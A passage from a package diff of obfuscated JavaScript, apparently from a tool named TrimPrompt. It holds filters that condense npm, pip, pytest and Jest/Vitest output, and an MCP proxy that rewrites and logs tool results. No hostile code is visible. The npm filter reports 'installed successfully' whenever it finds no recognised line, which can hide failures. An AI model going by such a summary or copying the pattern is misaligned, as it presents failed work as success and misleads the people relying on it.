_0x299f49=[_0x2512f4(0x1f0)+_0x21ee13+'\x20passed,\x20'+_0x784afc+'\x20failed\x20('+_0x29e9da+_0x2512f4(0x204)];if(_0x488131[_0x2512f4(0x1fa)]>0x0){_0x299f49[_0x2512f4(0x205)](_0x2512f4(0x1fe));const _0xaaeb54=0x19,_0x36f832=_0x488131[_0x2512f4(0x203)](0x0,_0xaaeb54);for(const _0x9b6ade of _0x36f832){_0x299f49[_0x2512f4(0x205)]('\x20\x20'+_0x9b6ade);}_0x488131[_0x2512f4(0x1fa)]>_0xaaeb54&&_0x299f49[_0x2512f4(0x205)](_0x2512f4(0x1f3)+(_0x488131[_0x2512f4(0x1fa)]-_0xaaeb54)+_0x2512f4(0x20c));}return _0x299f49[_0x2512f4(0x20f)]('\x0a');}
1
+ 'use strict';const a0_0x171281=a0_0x1504;(function(_0x515b28,_0x1bcc8d){const _0x4ea830=a0_0x1504,_0x357639=_0x515b28();while(!![]){try{const _0x514ab3=-parseInt(_0x4ea830(0x127))/0x1*(parseInt(_0x4ea830(0x116))/0x2)+-parseInt(_0x4ea830(0x137))/0x3*(parseInt(_0x4ea830(0x12f))/0x4)+parseInt(_0x4ea830(0x12c))/0x5+parseInt(_0x4ea830(0x120))/0x6*(parseInt(_0x4ea830(0x132))/0x7)+-parseInt(_0x4ea830(0x117))/0x8+parseInt(_0x4ea830(0x11c))/0x9*(parseInt(_0x4ea830(0x12b))/0xa)+-parseInt(_0x4ea830(0x124))/0xb*(-parseInt(_0x4ea830(0x121))/0xc);if(_0x514ab3===_0x1bcc8d)break;else _0x357639['push'](_0x357639['shift']());}catch(_0x23b0c1){_0x357639['push'](_0x357639['shift']());}}}(a0_0xf57e,0x87975));Object[a0_0x171281(0x134)](exports,'__esModule',{'value':!![]}),exports[a0_0x171281(0x131)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function a0_0x1504(_0x37d7e5,_0x28abfb){_0x37d7e5=_0x37d7e5-0x115;const _0xf57e32=a0_0xf57e();let _0x1504f1=_0xf57e32[_0x37d7e5];return _0x1504f1;}function a0_0xf57e(){const _0x3056ee=['startsWith','4LSuJjl','217248UMjkYP','\x20total)','slice','Tests:','push','10629SZwQaD','audited\x20','FAIL','Test\x20Files:','66fVefXD','746580AjwBzV','replace','split','22gjtWrF','Test\x20Runner:\x20','removed\x20','344191nRvABA','\x20\x20...\x20(','match','trim','7210ZXZDem','1890360pAaILH','found\x20','includes','4eLkmUp','Test\x20Suites:','filterNpmInstall','49763KZWgxU','length','defineProperty','\x0aFailures:','\x20passed','483849JUXJKG'];a0_0xf57e=function(){return _0x3056ee;};return a0_0xf57e();}function filterNpmInstall(_0x362dcb){const _0x300672=a0_0x171281,_0x281287=_0x362dcb[_0x300672(0x122)](/\r/g,'\x0a'),_0x4b7284=_0x281287[_0x300672(0x123)]('\x0a'),_0x1b88bf=[];for(const _0x57eda5 of _0x4b7284){const _0x7df8d7=_0x57eda5['trim']();(_0x7df8d7[_0x300672(0x12e)]('added\x20')||_0x7df8d7[_0x300672(0x12e)](_0x300672(0x126))||_0x7df8d7['includes'](_0x300672(0x11d))||_0x7df8d7[_0x300672(0x12e)]('up\x20to\x20date')||_0x7df8d7['includes'](_0x300672(0x12d)))&&(!_0x7df8d7[_0x300672(0x12e)]('%')&&!_0x7df8d7[_0x300672(0x115)]('⠋')&&!_0x7df8d7[_0x300672(0x115)]('⠙')&&_0x1b88bf['push'](_0x7df8d7));}const _0x4a1aee=_0x1b88bf['join']('\x0a')[_0x300672(0x12a)]();return _0x4a1aee[_0x300672(0x133)]>0x0?_0x4a1aee:'NPM:\x20Packages\x20verified/installed\x20successfully';}function filterJestVitest(_0x36b580){const _0x12712b=a0_0x171281,_0x81a455=_0x36b580['split']('\x0a');let _0x2e6849=0x0,_0x5bc7bb=0x0,_0x19b21a=0x0;const _0x15720e=[];let _0x69d1b=![];for(const _0x43439d of _0x81a455){const _0xa28931=_0x43439d[_0x12712b(0x12a)]();if(_0xa28931[_0x12712b(0x115)](_0x12712b(0x11a))||_0xa28931['includes'](_0x12712b(0x11f))){const _0x29374d=_0xa28931[_0x12712b(0x129)](/(\d+)\s+passed/),_0x184318=_0xa28931[_0x12712b(0x129)](/(\d+)\s+failed/),_0x213f60=_0xa28931[_0x12712b(0x129)](/(\d+)\s+total/);if(_0x29374d)_0x2e6849=parseInt(_0x29374d[0x1]);if(_0x184318)_0x5bc7bb=parseInt(_0x184318[0x1]);if(_0x213f60)_0x19b21a=parseInt(_0x213f60[0x1]);continue;}(_0xa28931['startsWith']('❯')||_0xa28931[_0x12712b(0x115)]('●')||_0xa28931[_0x12712b(0x115)]('FAIL\x20\x20'))&&(_0x69d1b=!![]),_0x69d1b&&(_0xa28931['length']>0x0&&!_0xa28931[_0x12712b(0x115)](_0x12712b(0x130))&&!_0xa28931[_0x12712b(0x115)]('Tests:')&&_0x15720e[_0x12712b(0x11b)](_0x43439d));}if(_0x19b21a===0x0&&_0x2e6849===0x0&&_0x5bc7bb===0x0){if(_0x36b580[_0x12712b(0x12e)]('PASS')&&!_0x36b580[_0x12712b(0x12e)](_0x12712b(0x11e))){const _0x3fa3b6=_0x36b580[_0x12712b(0x129)](/(\d+)\s+passed/),_0x5e80b0=_0x3fa3b6?_0x3fa3b6[0x1]:'all';return _0x12712b(0x125)+_0x5e80b0+'\x20passed';}return _0x36b580;}if(_0x5bc7bb===0x0&&_0x2e6849>0x0)return _0x12712b(0x125)+_0x2e6849+_0x12712b(0x136);const _0x295cea=[_0x12712b(0x125)+_0x2e6849+'\x20passed,\x20'+_0x5bc7bb+'\x20failed\x20('+_0x19b21a+_0x12712b(0x118)];if(_0x15720e[_0x12712b(0x133)]>0x0){_0x295cea[_0x12712b(0x11b)](_0x12712b(0x135));const _0x493774=0x19,_0x10a4f8=_0x15720e[_0x12712b(0x119)](0x0,_0x493774);for(const _0x3dc2c3 of _0x10a4f8){_0x295cea[_0x12712b(0x11b)]('\x20\x20'+_0x3dc2c3);}_0x15720e[_0x12712b(0x133)]>_0x493774&&_0x295cea[_0x12712b(0x11b)](_0x12712b(0x128)+(_0x15720e['length']-_0x493774)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x295cea['join']('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x5c8f(_0x283bb5,_0xb1a7de){_0x283bb5=_0x283bb5-0xa4;const _0x380fec=a0_0x380f();let _0x5c8f7f=_0x380fec[_0x283bb5];return _0x5c8f7f;}function a0_0x380f(){const _0x3ab34b=['E\x20\x20\x20','\x20lines\x20of\x20stacktrace\x20truncated)','6965jFbuZp','trim','===','404sbjOEt','117SsgodT','21pwJtCB','failed','===\x20FAILURES\x20===','\x20xfailed','Using\x20cached','defineProperty','236090GvNQqO','startsWith','===\x20short\x20test\x20summary\x20info\x20===','284932KghqGj','length','passed','Collecting','\x20xpassed\x20(warning!)','\x20in\x20','\x20more\x20failures\x20truncated','6320265moZAFo','join','31914498YXLKiK','split','___','__esModule','Successfully\x20installed','.\x20[FAIL]\x20','9635376eHbWhv','\x20skipped','Downloading','\x20\x20...\x20+','Pytest:\x20','match','4086fkFgGl','2802XdIXIW','includes','Pytest:\x20All\x20tests\x20passed','\x0aFailures:','filter','push','AssertionError:','\x20passed'];a0_0x380f=function(){return _0x3ab34b;};return a0_0x380f();}const a0_0x37b465=a0_0x5c8f;(function(_0x521d0b,_0x3d5980){const _0x3fb2b1=a0_0x5c8f,_0x3d1495=_0x521d0b();while(!![]){try{const _0x3c8018=-parseInt(_0x3fb2b1(0xad))/0x1*(-parseInt(_0x3fb2b1(0xba))/0x2)+parseInt(_0x3fb2b1(0xbc))/0x3*(-parseInt(_0x3fb2b1(0xc5))/0x4)+-parseInt(_0x3fb2b1(0xcc))/0x5+-parseInt(_0x3fb2b1(0xac))/0x6*(-parseInt(_0x3fb2b1(0xb7))/0x7)+-parseInt(_0x3fb2b1(0xa6))/0x8+-parseInt(_0x3fb2b1(0xbb))/0x9*(parseInt(_0x3fb2b1(0xc2))/0xa)+parseInt(_0x3fb2b1(0xce))/0xb;if(_0x3c8018===_0x3d5980)break;else _0x3d1495['push'](_0x3d1495['shift']());}catch(_0x2e2f18){_0x3d1495['push'](_0x3d1495['shift']());}}}(a0_0x380f,0xd49ee));Object[a0_0x37b465(0xc1)](exports,a0_0x37b465(0xd1),{'value':!![]}),exports['filterPytest']=filterPytest,exports['filterPipInstall']=filterPipInstall;function filterPytest(_0x5e6992){const _0x6d44dc=a0_0x37b465,_0x245c1d=_0x5e6992[_0x6d44dc(0xcf)]('\x0a');let _0xe5c516=0x0,_0xb69d9c=0x0,_0x365c5f=0x0,_0x371fc1=0x0,_0xfe6766=0x0;const _0x1c653f=[];let _0x53ce13=[],_0x19fd32=![];for(const _0x58849b of _0x245c1d){const _0x44eeae=_0x58849b[_0x6d44dc(0xb8)]();if(_0x44eeae['startsWith'](_0x6d44dc(0xbe))||_0x44eeae[_0x6d44dc(0xc3)]('===\x20ERRORS\x20===')){_0x19fd32=!![];continue;}else(_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xc4))||_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xb9))&&_0x44eeae[_0x6d44dc(0xae)]('passed'))&&(_0x19fd32=![],_0x53ce13['length']>0x0&&(_0x1c653f[_0x6d44dc(0xb2)](_0x53ce13),_0x53ce13=[]));if(_0x19fd32){if(_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xd0)))_0x53ce13[_0x6d44dc(0xc6)]>0x0&&(_0x1c653f[_0x6d44dc(0xb2)](_0x53ce13),_0x53ce13=[]),_0x53ce13[_0x6d44dc(0xb2)](_0x44eeae);else _0x44eeae['length']>0x0&&_0x53ce13[_0x6d44dc(0xb2)](_0x58849b);continue;}if(_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xb9))&&_0x44eeae[_0x6d44dc(0xae)](_0x6d44dc(0xca))){const _0x3b40ca=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+passed/),_0x3f6afb=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+failed/),_0x4c0349=_0x44eeae['match'](/(\d+)\s+skipped/),_0x25affd=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+xfailed/),_0x5d7ef8=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+xpassed/);if(_0x3b40ca)_0xe5c516=parseInt(_0x3b40ca[0x1]);if(_0x3f6afb)_0xb69d9c=parseInt(_0x3f6afb[0x1]);if(_0x4c0349)_0x365c5f=parseInt(_0x4c0349[0x1]);if(_0x25affd)_0x371fc1=parseInt(_0x25affd[0x1]);if(_0x5d7ef8)_0xfe6766=parseInt(_0x5d7ef8[0x1]);}}_0x53ce13[_0x6d44dc(0xc6)]>0x0&&_0x1c653f[_0x6d44dc(0xb2)](_0x53ce13);if(_0xe5c516===0x0&&_0xb69d9c===0x0&&_0x365c5f===0x0&&_0x371fc1===0x0&&_0xfe6766===0x0){if(_0x5e6992[_0x6d44dc(0xae)](_0x6d44dc(0xc7))&&!_0x5e6992[_0x6d44dc(0xae)](_0x6d44dc(0xbd)))return _0x6d44dc(0xaf);return _0x5e6992;}if(_0xb69d9c===0x0&&_0xe5c516>0x0&&_0x365c5f===0x0&&_0x371fc1===0x0&&_0xfe6766===0x0)return _0x6d44dc(0xaa)+_0xe5c516+'\x20passed';const _0x26a929=[];_0x26a929['push'](_0x6d44dc(0xaa)+_0xe5c516+_0x6d44dc(0xb4));if(_0xb69d9c>0x0)_0x26a929[_0x6d44dc(0xb2)](_0xb69d9c+'\x20failed');if(_0x365c5f>0x0)_0x26a929['push'](_0x365c5f+_0x6d44dc(0xa7));if(_0x371fc1>0x0)_0x26a929[_0x6d44dc(0xb2)](_0x371fc1+_0x6d44dc(0xbf));if(_0xfe6766>0x0)_0x26a929[_0x6d44dc(0xb2)](_0xfe6766+_0x6d44dc(0xc9));const _0xe42de8=[_0x26a929[_0x6d44dc(0xcd)](',\x20')];if(_0x1c653f[_0x6d44dc(0xc6)]>0x0){_0xe42de8[_0x6d44dc(0xb2)](_0x6d44dc(0xb0));const _0x2a104a=0x3,_0x8c2c9e=_0x1c653f['slice'](0x0,_0x2a104a);for(let _0x26c2ce=0x0;_0x26c2ce<_0x8c2c9e[_0x6d44dc(0xc6)];_0x26c2ce++){const _0x101585=_0x8c2c9e[_0x26c2ce],_0x184912=_0x101585[0x0]['replace'](/_/g,'')['trim']();_0xe42de8[_0x6d44dc(0xb2)]('\x20\x20'+(_0x26c2ce+0x1)+_0x6d44dc(0xa5)+_0x184912);const _0x1314dd=_0x101585['slice'](0x1),_0x436575=_0x1314dd[_0x6d44dc(0xb1)](_0x39c9a9=>{const _0x329918=_0x6d44dc,_0x28cda5=_0x39c9a9[_0x329918(0xb8)]();return _0x28cda5['startsWith']('>')||_0x28cda5[_0x329918(0xc3)](_0x329918(0xb5))||_0x28cda5['includes']('.py:')||_0x28cda5['includes'](_0x329918(0xb3));});for(const _0x4c16b0 of _0x436575['slice'](0x0,0x8)){_0xe42de8[_0x6d44dc(0xb2)]('\x20\x20\x20\x20'+_0x4c16b0);}_0x436575['length']>0x8&&_0xe42de8[_0x6d44dc(0xb2)]('\x20\x20\x20\x20...\x20('+(_0x436575[_0x6d44dc(0xc6)]-0x8)+_0x6d44dc(0xb6));}_0x1c653f[_0x6d44dc(0xc6)]>_0x2a104a&&_0xe42de8[_0x6d44dc(0xb2)](_0x6d44dc(0xa9)+(_0x1c653f['length']-_0x2a104a)+_0x6d44dc(0xcb));}return _0xe42de8['join']('\x0a');}function filterPipInstall(_0x5a09e7){const _0x5cd962=a0_0x37b465,_0xdda93b=_0x5a09e7[_0x5cd962(0xcf)]('\x0a'),_0x4c60f9=[];for(const _0x25e963 of _0xdda93b){const _0x5d4ec8=_0x25e963['trim']();_0x5d4ec8[_0x5cd962(0xc3)](_0x5cd962(0xa4))&&_0x4c60f9['push'](_0x5d4ec8);}if(_0x4c60f9[_0x5cd962(0xc6)]>0x0)return _0x4c60f9[_0x5cd962(0xcd)]('\x0a');return _0xdda93b['filter'](_0xd7096a=>{const _0x47358c=_0x5cd962,_0x55f12c=_0xd7096a[_0x47358c(0xb8)]();return!_0x55f12c[_0x47358c(0xc3)](_0x47358c(0xc8))&&!_0x55f12c['startsWith'](_0x47358c(0xa8))&&!_0x55f12c[_0x47358c(0xae)](_0x47358c(0xc0))&&!_0x55f12c[_0x47358c(0xc3)]('Requirement\x20already\x20satisfied');})[_0x5cd962(0xcd)]('\x0a')[_0x5cd962(0xb8)]();}
1
+ 'use strict';const a0_0x2b1bc9=a0_0x5b88;(function(_0x3a19ed,_0x3bfbac){const _0x44341e=a0_0x5b88,_0x4e4539=_0x3a19ed();while(!![]){try{const _0x3f344d=parseInt(_0x44341e(0x126))/0x1*(-parseInt(_0x44341e(0x123))/0x2)+parseInt(_0x44341e(0x130))/0x3+-parseInt(_0x44341e(0x13b))/0x4*(-parseInt(_0x44341e(0x120))/0x5)+parseInt(_0x44341e(0x138))/0x6+parseInt(_0x44341e(0x134))/0x7+parseInt(_0x44341e(0x143))/0x8+-parseInt(_0x44341e(0x137))/0x9;if(_0x3f344d===_0x3bfbac)break;else _0x4e4539['push'](_0x4e4539['shift']());}catch(_0x55b615){_0x4e4539['push'](_0x4e4539['shift']());}}}(a0_0x50a0,0xa094b));function a0_0x50a0(){const _0x306d2d=['\x20more\x20failures\x20truncated','7398461KOFrho','trim','\x20failed','29036277NMblAL','34758WjfdiL','\x20xfailed','failed','847972fKhoJX','filterPytest','\x20\x20\x20\x20...\x20(','===\x20ERRORS\x20===','Downloading','===\x20FAILURES\x20===','match','\x20xpassed\x20(warning!)','8913632jwrsWT','includes','.\x20[FAIL]\x20','replace','join','___','\x20\x20...\x20+','push','split','Pytest:\x20','E\x20\x20\x20','Successfully\x20installed','\x20\x20\x20\x20','30GcWXeG','\x20skipped','filter','39882rysWYC','slice','\x20in\x20','24UIhpNb','length','passed','AssertionError:','__esModule','Collecting','defineProperty','===','filterPipInstall','\x20passed','2741094VDAico','startsWith','===\x20short\x20test\x20summary\x20info\x20==='];a0_0x50a0=function(){return _0x306d2d;};return a0_0x50a0();}Object[a0_0x2b1bc9(0x12c)](exports,a0_0x2b1bc9(0x12a),{'value':!![]}),exports[a0_0x2b1bc9(0x13c)]=filterPytest,exports[a0_0x2b1bc9(0x12e)]=filterPipInstall;function filterPytest(_0x57265d){const _0x19942b=a0_0x2b1bc9,_0x21ff68=_0x57265d[_0x19942b(0x14b)]('\x0a');let _0x3666d6=0x0,_0x52bcb5=0x0,_0x3c1a55=0x0,_0x3f1fa5=0x0,_0x13695c=0x0;const _0x3c68a4=[];let _0x659412=[],_0x2305a7=![];for(const _0x41d405 of _0x21ff68){const _0x2a267f=_0x41d405[_0x19942b(0x135)]();if(_0x2a267f['startsWith'](_0x19942b(0x140))||_0x2a267f[_0x19942b(0x131)](_0x19942b(0x13e))){_0x2305a7=!![];continue;}else(_0x2a267f[_0x19942b(0x131)](_0x19942b(0x132))||_0x2a267f[_0x19942b(0x131)](_0x19942b(0x12d))&&_0x2a267f[_0x19942b(0x144)](_0x19942b(0x128)))&&(_0x2305a7=![],_0x659412['length']>0x0&&(_0x3c68a4[_0x19942b(0x14a)](_0x659412),_0x659412=[]));if(_0x2305a7){if(_0x2a267f[_0x19942b(0x131)](_0x19942b(0x148)))_0x659412[_0x19942b(0x127)]>0x0&&(_0x3c68a4['push'](_0x659412),_0x659412=[]),_0x659412[_0x19942b(0x14a)](_0x2a267f);else _0x2a267f[_0x19942b(0x127)]>0x0&&_0x659412[_0x19942b(0x14a)](_0x41d405);continue;}if(_0x2a267f[_0x19942b(0x131)]('===')&&_0x2a267f[_0x19942b(0x144)](_0x19942b(0x125))){const _0x45b2c7=_0x2a267f['match'](/(\d+)\s+passed/),_0x1d19e7=_0x2a267f[_0x19942b(0x141)](/(\d+)\s+failed/),_0x404711=_0x2a267f[_0x19942b(0x141)](/(\d+)\s+skipped/),_0x444099=_0x2a267f[_0x19942b(0x141)](/(\d+)\s+xfailed/),_0x491374=_0x2a267f['match'](/(\d+)\s+xpassed/);if(_0x45b2c7)_0x3666d6=parseInt(_0x45b2c7[0x1]);if(_0x1d19e7)_0x52bcb5=parseInt(_0x1d19e7[0x1]);if(_0x404711)_0x3c1a55=parseInt(_0x404711[0x1]);if(_0x444099)_0x3f1fa5=parseInt(_0x444099[0x1]);if(_0x491374)_0x13695c=parseInt(_0x491374[0x1]);}}_0x659412['length']>0x0&&_0x3c68a4[_0x19942b(0x14a)](_0x659412);if(_0x3666d6===0x0&&_0x52bcb5===0x0&&_0x3c1a55===0x0&&_0x3f1fa5===0x0&&_0x13695c===0x0){if(_0x57265d['includes'](_0x19942b(0x128))&&!_0x57265d[_0x19942b(0x144)](_0x19942b(0x13a)))return'Pytest:\x20All\x20tests\x20passed';return _0x57265d;}if(_0x52bcb5===0x0&&_0x3666d6>0x0&&_0x3c1a55===0x0&&_0x3f1fa5===0x0&&_0x13695c===0x0)return'Pytest:\x20'+_0x3666d6+_0x19942b(0x12f);const _0x4f623e=[];_0x4f623e[_0x19942b(0x14a)](_0x19942b(0x14c)+_0x3666d6+_0x19942b(0x12f));if(_0x52bcb5>0x0)_0x4f623e[_0x19942b(0x14a)](_0x52bcb5+_0x19942b(0x136));if(_0x3c1a55>0x0)_0x4f623e[_0x19942b(0x14a)](_0x3c1a55+_0x19942b(0x121));if(_0x3f1fa5>0x0)_0x4f623e[_0x19942b(0x14a)](_0x3f1fa5+_0x19942b(0x139));if(_0x13695c>0x0)_0x4f623e[_0x19942b(0x14a)](_0x13695c+_0x19942b(0x142));const _0xf93106=[_0x4f623e[_0x19942b(0x147)](',\x20')];if(_0x3c68a4[_0x19942b(0x127)]>0x0){_0xf93106[_0x19942b(0x14a)]('\x0aFailures:');const _0x880954=0x3,_0x202e35=_0x3c68a4[_0x19942b(0x124)](0x0,_0x880954);for(let _0x421bfb=0x0;_0x421bfb<_0x202e35[_0x19942b(0x127)];_0x421bfb++){const _0x314fda=_0x202e35[_0x421bfb],_0x3147ff=_0x314fda[0x0][_0x19942b(0x146)](/_/g,'')[_0x19942b(0x135)]();_0xf93106[_0x19942b(0x14a)]('\x20\x20'+(_0x421bfb+0x1)+_0x19942b(0x145)+_0x3147ff);const _0x1fad68=_0x314fda[_0x19942b(0x124)](0x1),_0x2a268a=_0x1fad68[_0x19942b(0x122)](_0x1e706f=>{const _0x5ed711=_0x19942b,_0x535ae7=_0x1e706f['trim']();return _0x535ae7['startsWith']('>')||_0x535ae7[_0x5ed711(0x131)](_0x5ed711(0x14d))||_0x535ae7[_0x5ed711(0x144)]('.py:')||_0x535ae7['includes'](_0x5ed711(0x129));});for(const _0x148a63 of _0x2a268a[_0x19942b(0x124)](0x0,0x8)){_0xf93106['push'](_0x19942b(0x14f)+_0x148a63);}_0x2a268a['length']>0x8&&_0xf93106['push'](_0x19942b(0x13d)+(_0x2a268a[_0x19942b(0x127)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x3c68a4[_0x19942b(0x127)]>_0x880954&&_0xf93106[_0x19942b(0x14a)](_0x19942b(0x149)+(_0x3c68a4[_0x19942b(0x127)]-_0x880954)+_0x19942b(0x133));}return _0xf93106[_0x19942b(0x147)]('\x0a');}function a0_0x5b88(_0xd39dc4,_0xc26b92){_0xd39dc4=_0xd39dc4-0x120;const _0x50a03e=a0_0x50a0();let _0x5b881e=_0x50a03e[_0xd39dc4];return _0x5b881e;}function filterPipInstall(_0x32d77f){const _0x15b677=a0_0x2b1bc9,_0x4b8d4d=_0x32d77f['split']('\x0a'),_0x3bf406=[];for(const _0x35f762 of _0x4b8d4d){const _0x372556=_0x35f762[_0x15b677(0x135)]();_0x372556['startsWith'](_0x15b677(0x14e))&&_0x3bf406[_0x15b677(0x14a)](_0x372556);}if(_0x3bf406['length']>0x0)return _0x3bf406[_0x15b677(0x147)]('\x0a');return _0x4b8d4d[_0x15b677(0x122)](_0x5ae0b2=>{const _0x33b9aa=_0x15b677,_0x449fe3=_0x5ae0b2[_0x33b9aa(0x135)]();return!_0x449fe3[_0x33b9aa(0x131)](_0x33b9aa(0x12b))&&!_0x449fe3[_0x33b9aa(0x131)](_0x33b9aa(0x13f))&&!_0x449fe3[_0x33b9aa(0x144)]('Using\x20cached')&&!_0x449fe3['startsWith']('Requirement\x20already\x20satisfied');})[_0x15b677(0x147)]('\x0a')[_0x15b677(0x135)]();}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x328324=a0_0x4c26;(function(_0x5ac246,_0x3b239d){const _0xf16991=a0_0x4c26,_0x165b49=_0x5ac246();while(!![]){try{const _0x5b212b=-parseInt(_0xf16991(0xb3))/0x1*(-parseInt(_0xf16991(0xa0))/0x2)+parseInt(_0xf16991(0x8e))/0x3+parseInt(_0xf16991(0x9c))/0x4+parseInt(_0xf16991(0x87))/0x5+parseInt(_0xf16991(0x89))/0x6*(-parseInt(_0xf16991(0x97))/0x7)+parseInt(_0xf16991(0xb0))/0x8*(parseInt(_0xf16991(0x84))/0x9)+parseInt(_0xf16991(0xb2))/0xa*(-parseInt(_0xf16991(0x99))/0xb);if(_0x5b212b===_0x3b239d)break;else _0x165b49['push'](_0x165b49['shift']());}catch(_0x93168b){_0x165b49['push'](_0x165b49['shift']());}}}(a0_0x5b29,0x8be25));var __createBinding=this&&this[a0_0x328324(0xa8)]||(Object[a0_0x328324(0xaf)]?function(_0x5aef91,_0x561039,_0x429ef1,_0x49e6ab){const _0x4a09ea=a0_0x328324;if(_0x49e6ab===undefined)_0x49e6ab=_0x429ef1;var _0x124d96=Object[_0x4a09ea(0xb1)](_0x561039,_0x429ef1);(!_0x124d96||(_0x4a09ea(0xac)in _0x124d96?!_0x561039[_0x4a09ea(0xa3)]:_0x124d96[_0x4a09ea(0x8f)]||_0x124d96[_0x4a09ea(0x93)]))&&(_0x124d96={'enumerable':!![],'get':function(){return _0x561039[_0x429ef1];}}),Object[_0x4a09ea(0x80)](_0x5aef91,_0x49e6ab,_0x124d96);}:function(_0x38a410,_0x2ea60e,_0x1901e3,_0x22e7b3){if(_0x22e7b3===undefined)_0x22e7b3=_0x1901e3;_0x38a410[_0x22e7b3]=_0x2ea60e[_0x1901e3];}),__setModuleDefault=this&&this[a0_0x328324(0x8b)]||(Object[a0_0x328324(0xaf)]?function(_0x18b52b,_0x544931){const _0x19fc23=a0_0x328324;Object['defineProperty'](_0x18b52b,_0x19fc23(0x88),{'enumerable':!![],'value':_0x544931});}:function(_0x5bfbbf,_0x21cda8){const _0x3c84dc=a0_0x328324;_0x5bfbbf[_0x3c84dc(0x88)]=_0x21cda8;}),__importStar=this&&this[a0_0x328324(0x92)]||(function(){var _0x438752=function(_0x33b4d1){const _0x19c5ae=a0_0x4c26;return _0x438752=Object[_0x19c5ae(0x83)]||function(_0x5bd441){const _0x51c959=_0x19c5ae;var _0x4ef9e4=[];for(var _0x3adb6d in _0x5bd441)if(Object['prototype'][_0x51c959(0xa6)][_0x51c959(0x95)](_0x5bd441,_0x3adb6d))_0x4ef9e4[_0x4ef9e4[_0x51c959(0xb4)]]=_0x3adb6d;return _0x4ef9e4;},_0x438752(_0x33b4d1);};return function(_0x5ab3de){const _0x4032ce=a0_0x4c26;if(_0x5ab3de&&_0x5ab3de[_0x4032ce(0xa3)])return _0x5ab3de;var _0x50ad7d={};if(_0x5ab3de!=null){for(var _0x542a2a=_0x438752(_0x5ab3de),_0x4393b8=0x0;_0x4393b8<_0x542a2a['length'];_0x4393b8++)if(_0x542a2a[_0x4393b8]!=='default')__createBinding(_0x50ad7d,_0x5ab3de,_0x542a2a[_0x4393b8]);}return __setModuleDefault(_0x50ad7d,_0x5ab3de),_0x50ad7d;};}());function a0_0x4c26(_0x21fc77,_0x20e186){_0x21fc77=_0x21fc77-0x80;const _0x5b2917=a0_0x5b29();let _0x4c268c=_0x5b2917[_0x21fc77];return _0x4c268c;}Object['defineProperty'](exports,a0_0x328324(0xa3),{'value':!![]}),exports[a0_0x328324(0x86)]=runMcpProxy;const child_process_1=require(a0_0x328324(0xad)),readline=__importStar(require('readline')),filters_1=require(a0_0x328324(0xa2)),tracker_1=require(a0_0x328324(0x85));function a0_0x5b29(){const _0x9111d3=['redaction_enabled','text','pipe','2ZWQbsN','trim','./filters','__esModule','result','2.0','hasOwnProperty','logExecution','__createBinding','spawn','exit','content','get','child_process','inherit','create','82816DJiEqV','getOwnPropertyDescriptor','6183850yjgGCs','65419ugGpmy','length','parse','defineProperty','jsonrpc','error','getOwnPropertyNames','450UoHFYp','./tracker','runMcpProxy','2896990SmlDCc','default','222jHDggA','tracker','__setModuleDefault','stdin','string','535332gptiWo','writable','stdout','line','__importStar','configurable','close','call','message','71078bVNkYj','mcp\x20tool\x20(id:\x20','22LRrUKs','write','mcp-tool-call','3378288ZATGaF'];a0_0x5b29=function(){return _0x9111d3;};return a0_0x5b29();}function runMcpProxy(_0x20d120,_0x1131b6){const _0x357c1d=a0_0x328324,_0x320cdb=(0x0,child_process_1[_0x357c1d(0xa9)])(_0x20d120,_0x1131b6,{'stdio':[_0x357c1d(0x9f),'pipe',_0x357c1d(0xae)]});process[_0x357c1d(0x8c)][_0x357c1d(0x9f)](_0x320cdb[_0x357c1d(0x8c)]);const _0x3f6897=readline['createInterface']({'input':_0x320cdb[_0x357c1d(0x90)],'terminal':![]});_0x3f6897['on'](_0x357c1d(0x91),_0x2473f7=>{const _0x5d7fed=_0x357c1d;try{const _0x1af69e=JSON[_0x5d7fed(0xb5)](_0x2473f7);if(_0x1af69e&&_0x1af69e[_0x5d7fed(0x81)]===_0x5d7fed(0xa5)&&_0x1af69e['id']!==undefined&&_0x1af69e[_0x5d7fed(0xa4)]&&Array['isArray'](_0x1af69e[_0x5d7fed(0xa4)]['content'])){let _0x4d4f23=![];for(const _0x4fc87c of _0x1af69e['result'][_0x5d7fed(0xab)]){if(_0x4fc87c['type']===_0x5d7fed(0x9e)&&typeof _0x4fc87c[_0x5d7fed(0x9e)]===_0x5d7fed(0x8d)&&_0x4fc87c['text'][_0x5d7fed(0xa1)]()[_0x5d7fed(0xb4)]>0x0){const _0x2c23fc=_0x4fc87c[_0x5d7fed(0x9e)],_0x1a8ebf=(0x0,filters_1['compressOutput'])(_0x5d7fed(0x9b),_0x2c23fc,'',tracker_1[_0x5d7fed(0x8a)]['getConfig']()[_0x5d7fed(0x9d)]);tracker_1[_0x5d7fed(0x8a)][_0x5d7fed(0xa7)](_0x5d7fed(0x98)+_0x1af69e['id']+')',_0x2c23fc,_0x1a8ebf,0x0),_0x4fc87c['text']=_0x1a8ebf,_0x4d4f23=!![];}}_0x4d4f23?process['stdout'][_0x5d7fed(0x9a)](JSON['stringify'](_0x1af69e)+'\x0a'):process[_0x5d7fed(0x90)][_0x5d7fed(0x9a)](_0x2473f7+'\x0a');}else process[_0x5d7fed(0x90)][_0x5d7fed(0x9a)](_0x2473f7+'\x0a');}catch{process[_0x5d7fed(0x90)][_0x5d7fed(0x9a)](_0x2473f7+'\x0a');}}),_0x320cdb['on'](_0x357c1d(0x94),_0xf8f03d=>{const _0x2fa816=_0x357c1d;process[_0x2fa816(0xaa)](_0xf8f03d||0x0);}),_0x320cdb['on'](_0x357c1d(0x82),_0x337213=>{const _0x29f320=_0x357c1d;console[_0x29f320(0x82)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x337213[_0x29f320(0x96)]),process[_0x29f320(0xaa)](0x1);});}
1
